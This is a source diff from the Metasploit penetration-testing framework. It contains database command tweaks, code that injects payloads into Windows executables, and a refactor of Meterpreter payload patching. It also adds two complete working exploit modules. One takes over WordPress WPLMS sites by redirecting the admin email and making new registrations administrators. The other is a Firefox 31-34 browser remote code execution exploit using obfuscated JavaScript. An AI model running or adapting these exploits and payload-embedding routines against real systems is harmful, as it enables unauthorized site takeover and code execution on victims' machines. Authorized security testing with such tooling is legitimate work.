print_line " -m,--comment Change the comment of a host"
|
||||
print_line " -t,--tag Add or specify a tag to a range of hosts"
|
||||
print_line
|
||||
print_line "Available columns: #{default_columns.join(", ")}"
|
||||
print_line
|
||||
|
@ -338,7 +405,9 @@ class Db
|
|||
col_names = default_columns + virtual_columns
|
||||
end
|
||||
|
||||
if mode == :add
|
||||
mode << :search if mode.empty?
|
||||
|
||||
if mode == [:add]
|
||||
host_ranges.each do |range|
|
||||
range.each do |address|
|
||||
host = framework.db.find_or_create_host(:host => address)
|
||||
|
@ -358,23 +427,41 @@ class Db
|
|||
# Sentinal value meaning all
|
||||
host_ranges.push(nil) if host_ranges.empty?
|
||||
|
||||
case mode
|
||||
when :new_info
|
||||
case
|
||||
when mode == [:new_info]
|
||||
change_host_info(host_ranges, info_data)
|
||||
return
|
||||
when :new_name
|
||||
when mode == [:new_name]
|
||||
change_host_name(host_ranges, name_data)
|
||||
return
|
||||
when :new_comment
|
||||
when mode == [:new_comment]
|
||||
change_host_comment(host_ranges, comment_data)
|
||||
return
|
||||
when mode == [:tag]
|
||||
begin
|
||||
add_host_tag(host_ranges, tag_name)
|
||||
rescue ::Exception => e
|
||||
if e.message.include?('Validation failed')
|
||||
print_error(e.message)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
return
|
||||
when mode.include?(:tag) && mode.include?(:delete)
|
||||
delete_host_tag(host_ranges, tag_name)
|
||||
return
|
||||
end
|
||||
|
||||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
|
||||
if search_term
|
||||
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) }
|
||||
next unless (
|
||||
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
|
||||
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
|
||||
)
|
||||
end
|
||||
|
||||
columns = col_names.map do |n|
|
||||
# Deal with the special cases
|
||||
if virtual_columns.include?(n)
|
||||
|
@ -382,6 +469,11 @@ class Db
|
|||
when "svcs"; host.services.length
|
||||
when "vulns"; host.vulns.length
|
||||
when "workspace"; host.workspace.name
|
||||
when "tags"
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
|
||||
tag_names = []
|
||||
found_tags.each { |t| tag_names << t.name }
|
||||
found_tags * ", "
|
||||
end
|
||||
# Otherwise, it's just an attribute
|
||||
else
|
||||
|
@ -394,7 +486,7 @@ class Db
|
|||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr
|
||||
end
|
||||
if mode == :delete
|
||||
if mode == [:delete]
|
||||
host.destroy
|
||||
delete_count += 1
|
||||
end
|
||||
|
@ -1647,11 +1739,18 @@ class Db
|
|||
print_status("Usage: db_nmap [nmap options]")
|
||||
return
|
||||
end
|
||||
|
||||
save = false
|
||||
if args.include?("save")
|
||||
arguments = []
|
||||
while (arg = args.shift)
|
||||
case arg
|
||||
when 'save'
|
||||
save = active?
|
||||
args.delete("save")
|
||||
when '--help', '-h'
|
||||
cmd_db_nmap_help
|
||||
return
|
||||
else
|
||||
arguments << arg
|
||||
end
|
||||
end
|
||||
|
||||
nmap =
|
||||
|
@ -1674,15 +1773,15 @@ class Db
|
|||
# Custom function needed because cygpath breaks on 8.3 dirs
|
||||
tout = Rex::Compat.cygwin_to_win32(fd.path)
|
||||
fout = Rex::Compat.cygwin_to_win32(fo.path)
|
||||
args.push('-oX', tout)
|
||||
args.push('-oN', fout)
|
||||
arguments.push('-oX', tout)
|
||||
arguments.push('-oN', fout)
|
||||
else
|
||||
args.push('-oX', fd.path)
|
||||
args.push('-oN', fo.path)
|
||||
arguments.push('-oX', fd.path)
|
||||
arguments.push('-oN', fo.path)
|
||||
end
|
||||
|
||||
begin
|
||||
nmap_pipe = ::Open3::popen3([nmap, "nmap"], *args)
|
||||
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
|
||||
temp_nmap_threads = []
|
||||
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
|
||||
np_1.each_line do |nmap_out|
|
||||
|
@ -1715,6 +1814,45 @@ class Db
|
|||
}
|
||||
end
|
||||
|
||||
def cmd_db_nmap_help
|
||||
nmap =
|
||||
Rex::FileUtils.find_full_path('nmap') ||
|
||||
Rex::FileUtils.find_full_path('nmap.exe')
|
||||
|
||||
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
||||
|
||||
stdout.each_line do |out_line|
|
||||
next if out_line.strip.empty?
|
||||
print_status(out_line.strip)
|
||||
end
|
||||
|
||||
stderr.each_line do |err_line|
|
||||
next if err_line.strip.empty?
|
||||
print_error(err_line.strip)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_db_nmap_tabs(str, words)
|
||||
nmap =
|
||||
Rex::FileUtils.find_full_path('nmap') ||
|
||||
Rex::FileUtils.find_full_path('nmap.exe')
|
||||
|
||||
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
||||
tabs = []
|
||||
stdout.each_line do |out_line|
|
||||
if out_line.strip.starts_with?('-')
|
||||
tabs.push(out_line.strip.split(':').first)
|
||||
end
|
||||
end
|
||||
|
||||
stderr.each_line do |err_line|
|
||||
next if err_line.strip.empty?
|
||||
print_error(err_line.strip)
|
||||
end
|
||||
|
||||
tabs
|
||||
end
|
||||
|
||||
#
|
||||
# Store some locally-generated data as a file, similiar to store_loot.
|
||||
#
|
||||
|
|
|
@ -18,6 +18,7 @@ require 'rex/zip'
|
|||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
require 'msf/core/exe/segment_appender'
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -205,12 +206,15 @@ require 'msf/core/exe/segment_injector'
|
|||
end
|
||||
|
||||
p_length = payload.length + 256
|
||||
|
||||
# If the .text section is too small, append a new section instead
|
||||
if text.size < p_length
|
||||
fname = ::File.basename(opts[:template])
|
||||
msg = "The .text section for '#{fname}' is too small. "
|
||||
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
|
||||
"#{text.size.to_s} bytes"
|
||||
raise RuntimeError, msg
|
||||
appender = Msf::Exe::SegmentAppender.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x86
|
||||
})
|
||||
return appender.generate_pe
|
||||
end
|
||||
|
||||
# Store some useful offsets
|
||||
|
@ -506,7 +510,8 @@ require 'msf/core/exe/segment_injector'
|
|||
def self.to_win64pe(framework, code, opts = {})
|
||||
# Allow the user to specify their own EXE template
|
||||
set_template_default(opts, "template_x64_windows.exe")
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
|
||||
# Try to inject code into executable by adding a section without affecting executable behavior
|
||||
if opts[:inject]
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
|
@ -515,8 +520,20 @@ require 'msf/core/exe/segment_injector'
|
|||
})
|
||||
return injector.generate_pe
|
||||
end
|
||||
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
return exe_sub_method(code,opts)
|
||||
|
||||
#
|
||||
# TODO: 64-bit support is currently failing to stage
|
||||
#
|
||||
# Append a new section instead
|
||||
# appender = Msf::Exe::SegmentAppender.new({
|
||||
# :payload => code,
|
||||
# :template => opts[:template],
|
||||
# :arch => :x64
|
||||
# })
|
||||
# return appender.generate_pe
|
||||
end
|
||||
|
||||
# Embeds shellcode within a Windows PE file implementing the Windows
|
||||
|
|
|
@ -56,6 +56,36 @@ class X509Certificate
|
|||
parse_pem(data)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format and retrieve
|
||||
# the SHA1 hash.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String]
|
||||
def self.get_cert_hash(ssl_cert)
|
||||
hcert = parse_pem(ssl_cert)
|
||||
|
||||
unless hcert and hcert[0] and hcert[1]
|
||||
raise ArgumentError, "Could not parse a private key and certificate"
|
||||
end
|
||||
|
||||
Rex::Text.sha1_raw(hcert[1].to_der)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a file that contains a certificate in unified PEM
|
||||
# format and retrieve the SHA1 hash.
|
||||
#
|
||||
# @param [String] ssl_cert_file
|
||||
# @return [String]
|
||||
def self.get_cert_file_hash(ssl_cert_file)
|
||||
data = ''
|
||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||
data << fd.read(fd.stat.size)
|
||||
end
|
||||
get_cert_hash(data)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -11,29 +11,23 @@ module Rex
|
|||
module Patch
|
||||
|
||||
# Replace the transport string
|
||||
def self.patch_transport! blob, ssl
|
||||
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
def self.patch_transport!(blob, ssl)
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
|
||||
end
|
||||
|
||||
# Replace the URL
|
||||
def self.patch_url! blob, url
|
||||
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
str = url
|
||||
blob[i, str.length] = str
|
||||
def self.patch_url!(blob, url)
|
||||
unless patch_string!(blob, "https://#{'X' * 512}", url)
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
patch_string!(blob, "https://#{'X' * 256}", url)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Replace the session expiration timeout
|
||||
def self.patch_expiration! blob, expiration
|
||||
def self.patch_expiration!(blob, expiration)
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
|
@ -44,7 +38,7 @@ module Rex
|
|||
end
|
||||
|
||||
# Replace the session communication timeout
|
||||
def self.patch_comm_timeout! blob, comm_timeout
|
||||
def self.patch_comm_timeout!(blob, comm_timeout)
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
|
@ -55,23 +49,14 @@ module Rex
|
|||
end
|
||||
|
||||
# Replace the user agent string with our option
|
||||
def self.patch_ua! blob, ua
|
||||
|
||||
ua = ua[0,255] + "\x00"
|
||||
i = blob.index("METERPRETER_UA\x00")
|
||||
if i
|
||||
blob[i, ua.length] = ua
|
||||
end
|
||||
|
||||
def self.patch_ua!(blob, ua)
|
||||
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
|
||||
end
|
||||
|
||||
# Activate a custom proxy
|
||||
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
|
||||
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
|
||||
|
||||
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
if i
|
||||
if proxyhost
|
||||
if proxyhost.to_s != ""
|
||||
if proxyhost && proxyhost.to_s != ""
|
||||
proxyhost = proxyhost.to_s
|
||||
proxyport = proxyport.to_s || "8080"
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
|
@ -84,39 +69,47 @@ module Rex
|
|||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
proxyinfo << "\x00"
|
||||
blob[i, proxyinfo.length] = proxyinfo
|
||||
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Proxy authentification
|
||||
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
|
||||
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
|
||||
|
||||
unless (proxy_username.nil? or proxy_username.empty?) or
|
||||
(proxy_password.nil? or proxy_password.empty?) or
|
||||
proxy_type == 'SOCKS'
|
||||
|
||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_username = proxy_username << "\x00"
|
||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
||||
patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
|
||||
proxy_username + "\x00")
|
||||
|
||||
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_password = proxy_password << "\x00"
|
||||
blob[proxy_password_loc, proxy_password.length] = proxy_password
|
||||
patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
|
||||
proxy_password + "\x00")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Patch the ssl cert hash
|
||||
def self.patch_ssl_check!(blob, ssl_cert_hash)
|
||||
# SSL cert location is an ASCII string, so no need for
|
||||
# WCHAR support
|
||||
if ssl_cert_hash
|
||||
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
|
||||
if i
|
||||
blob[i, ssl_cert_hash.length] = ssl_cert_hash
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
def self.patch_passive_service! blob, options
|
||||
def self.patch_passive_service!(blob, options)
|
||||
|
||||
patch_transport! blob, options[:ssl]
|
||||
patch_url! blob, options[:url]
|
||||
patch_expiration! blob, options[:expiration]
|
||||
patch_comm_timeout! blob, options[:comm_timeout]
|
||||
patch_ua! blob, options[:ua]
|
||||
patch_transport!(blob, options[:ssl])
|
||||
patch_url!(blob, options[:url])
|
||||
patch_expiration!(blob, options[:expiration])
|
||||
patch_comm_timeout!(blob, options[:comm_timeout])
|
||||
patch_ua!(blob, options[:ua])
|
||||
patch_ssl_check!(blob, options[:ssl_cert_hash])
|
||||
patch_proxy!(blob,
|
||||
options[:proxy_host],
|
||||
options[:proxy_port],
|
||||
|
@ -130,6 +123,36 @@ module Rex
|
|||
|
||||
end
|
||||
|
||||
#
|
||||
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
|
||||
#
|
||||
def self.patch_string!(blob, search, replacement)
|
||||
result = false
|
||||
|
||||
i = blob.index(search)
|
||||
if i
|
||||
blob[i, replacement.length] = replacement
|
||||
result = true
|
||||
else
|
||||
i = blob.index(wchar(search))
|
||||
if i
|
||||
r = wchar(replacement)
|
||||
blob[i, r.length] = r
|
||||
result = true
|
||||
end
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Convert the given ASCII string into a WCHAR string (dumb, but works)
|
||||
#
|
||||
def self.wchar(str)
|
||||
str.to_s.unpack("C*").pack("v*")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -48,7 +48,14 @@ class ClientCore < Extension
|
|||
request = Packet.create_request('core_enumextcmd')
|
||||
request.add_tlv(TLV_TYPE_STRING, extension_name)
|
||||
|
||||
begin
|
||||
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
||||
rescue
|
||||
# In the case where orphaned shells call back with OLD copies of the meterpreter
|
||||
# binaries, we end up with a case where this fails. So here we just return the
|
||||
# empty list of supported commands.
|
||||
return []
|
||||
end
|
||||
|
||||
# No response?
|
||||
if response.nil?
|
||||
|
|
|
@ -178,7 +178,6 @@ module PacketDispatcher
|
|||
# Sends a packet and waits for a timeout for the given time interval.
|
||||
#
|
||||
def send_request(packet, t = self.response_timeout)
|
||||
|
||||
if not t
|
||||
send_packet(packet)
|
||||
return nil
|
||||
|
|
|
@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.16'
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.17'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-2673'],
|
||||
['WPVDB', '7808'],
|
||||
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
|
||||
],
|
||||
|
|
|
@ -0,0 +1,124 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of
|
||||
any user level to set any system option via a lack of validation in the import_data function
|
||||
of /includes/func.php.
|
||||
|
||||
The module first changes the admin e-mail address to prevent any
|
||||
notifications being sent to the actual administrator during the attack, re-enables user
|
||||
registration in case it has been disabled and sets the default role to be administrator.
|
||||
This will allow for the user to create a new account with admin privileges via the default
|
||||
registration page found at /wp-login.php?action=register.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Evex', # Vulnerability discovery
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['WPVDB', '7785']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 09 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def php_serialize(value)
|
||||
# Only strings and numbers are required by this module
|
||||
case value
|
||||
when String, Symbol
|
||||
"s:#{value.bytesize}:\"#{value}\";"
|
||||
when Fixnum
|
||||
"i:#{value};"
|
||||
end
|
||||
end
|
||||
|
||||
def serialize_and_encode(value)
|
||||
serialized_value = php_serialize(value)
|
||||
unless serialized_value.nil?
|
||||
Rex::Text.encode_base64(serialized_value)
|
||||
end
|
||||
end
|
||||
|
||||
def set_wp_option(name, value, cookie)
|
||||
encoded_value = serialize_and_encode(value)
|
||||
if encoded_value.nil?
|
||||
vprint_error("#{peer} - Failed to serialize #{value}.")
|
||||
else
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_get' => { 'action' => 'import_data' },
|
||||
'vars_post' => { 'name' => name, 'code' => encoded_value },
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - No response from the target.")
|
||||
else
|
||||
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||
print_good("#{peer} - Authenticated with WordPress")
|
||||
|
||||
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
|
||||
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
|
||||
if set_wp_option('admin_email', new_email, cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Enabling user registrations...")
|
||||
if set_wp_option('users_can_register', 1, cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Setting the default user role...")
|
||||
if set_wp_option('default_role', 'administrator', cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
|
||||
end
|
||||
|
||||
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
|
||||
print_good("#{peer} - Privilege escalation complete")
|
||||
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
|
||||
end
|
||||
end
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'Symantec Web Gateway Login Utility',
|
||||
'Description' => %q{
|
||||
This module will attempt to authenticate to a Symantec Web Gateway
|
||||
This module will attempt to authenticate to a Symantec Web Gateway.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
|
||||
'Description' => %q{
|
||||
This module checks if your Samba target is vulnerable to an uninitialized variable creds.
|
||||
This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
|
||||
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
|
||||
remote unauthenticated attackers to execute arbitrary code. This module was tested in
|
||||
an emulated environment, using the version 1.10.16.m of the firmwarey.
|
||||
an emulated environment, using the version 1.10.16.m of the firmware.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -13,14 +13,11 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
|
||||
'Description' => %q(
|
||||
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
|
||||
buffer overflow in the GNU C Library's gethostbyname functions) on x86
|
||||
'Description' => %q{
|
||||
This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
|
||||
buffer overflow in the GNU C Library's gethostbyname functions on x86
|
||||
and x86_64 GNU/Linux systems that run the Exim mail server.
|
||||
|
||||
For additional information, please refer to the module's References
|
||||
section.
|
||||
),
|
||||
},
|
||||
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
|
||||
'License' => BSD_LICENSE,
|
||||
'References' => [
|
||||
|
|
|
@ -0,0 +1,115 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/exploitation/jsobfu'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
|
||||
'Description' => %q{
|
||||
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
|
||||
component and gaining a reference to the privileged chrome:// window. This exploit
|
||||
requires the user to click anywhere on the page to trigger the vulnerability.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'joev' # discovery and metasploit module
|
||||
],
|
||||
'DisclosureDate' => "Jan 20 2014",
|
||||
'References' => [
|
||||
['CVE', '2014-8636'],
|
||||
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
|
||||
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
|
||||
|
||||
],
|
||||
'Targets' => [
|
||||
[
|
||||
'Universal (Javascript XPCOM Shell)', {
|
||||
'Platform' => 'firefox',
|
||||
'Arch' => ARCH_FIREFOX
|
||||
}
|
||||
],
|
||||
[
|
||||
'Native Payload', {
|
||||
'Platform' => %w{ java linux osx solaris win },
|
||||
'Arch' => ARCH_ALL
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'BrowserRequirements' => {
|
||||
:source => 'script',
|
||||
:ua_name => HttpClients::FF,
|
||||
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
send_response_html(cli, generate_html(target_info))
|
||||
end
|
||||
|
||||
def default_html
|
||||
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
|
||||
end
|
||||
|
||||
def generate_html(target_info)
|
||||
key = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||
frame = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||
r = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
|
||||
|
||||
js = js_obfuscate %Q|
|
||||
var opts = #{JSON.unparse(opts)};
|
||||
var key = opts['#{key}'];
|
||||
var props = {};
|
||||
props.has = function(n){
|
||||
if (!window.top.x && n=='nodeType') {
|
||||
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
|
||||
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
|
||||
if (window.top.x) {
|
||||
Object.setPrototypeOf(document, pro);
|
||||
setTimeout(function(){
|
||||
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
|
||||
|
||||
setTimeout(function(){
|
||||
x.messageManager.loadFrameScript('data:,'+key, false);
|
||||
setTimeout(function(){
|
||||
x.close();
|
||||
}, 100)
|
||||
}, 100)
|
||||
}, 100);
|
||||
}
|
||||
}
|
||||
}
|
||||
var pro = Object.getPrototypeOf(document);
|
||||
Object.setPrototypeOf(document, Proxy.create(props));
|
||||
|
|
||||
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
#{datastore['CONTENT'] || default_html}
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
end
|
|
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
send_header
|
||||
ack = recv_protocol_ack
|
||||
if ack.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
||||
end
|
||||
|
||||
jar = rand_text_alpha(rand(8)+1) + '.jar'
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
|
||||
The value of the debugenableplugins parameter is used without proper sanitization
|
||||
in an Perl eval statement which allows remote code execution
|
||||
in an Perl eval statement which allows remote code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_foxypress_upload')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_infusionsoft_upload')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_lastpost_exec')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -11,6 +11,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_optimizepress_upload')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -6,6 +6,9 @@
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Module::Deprecated
|
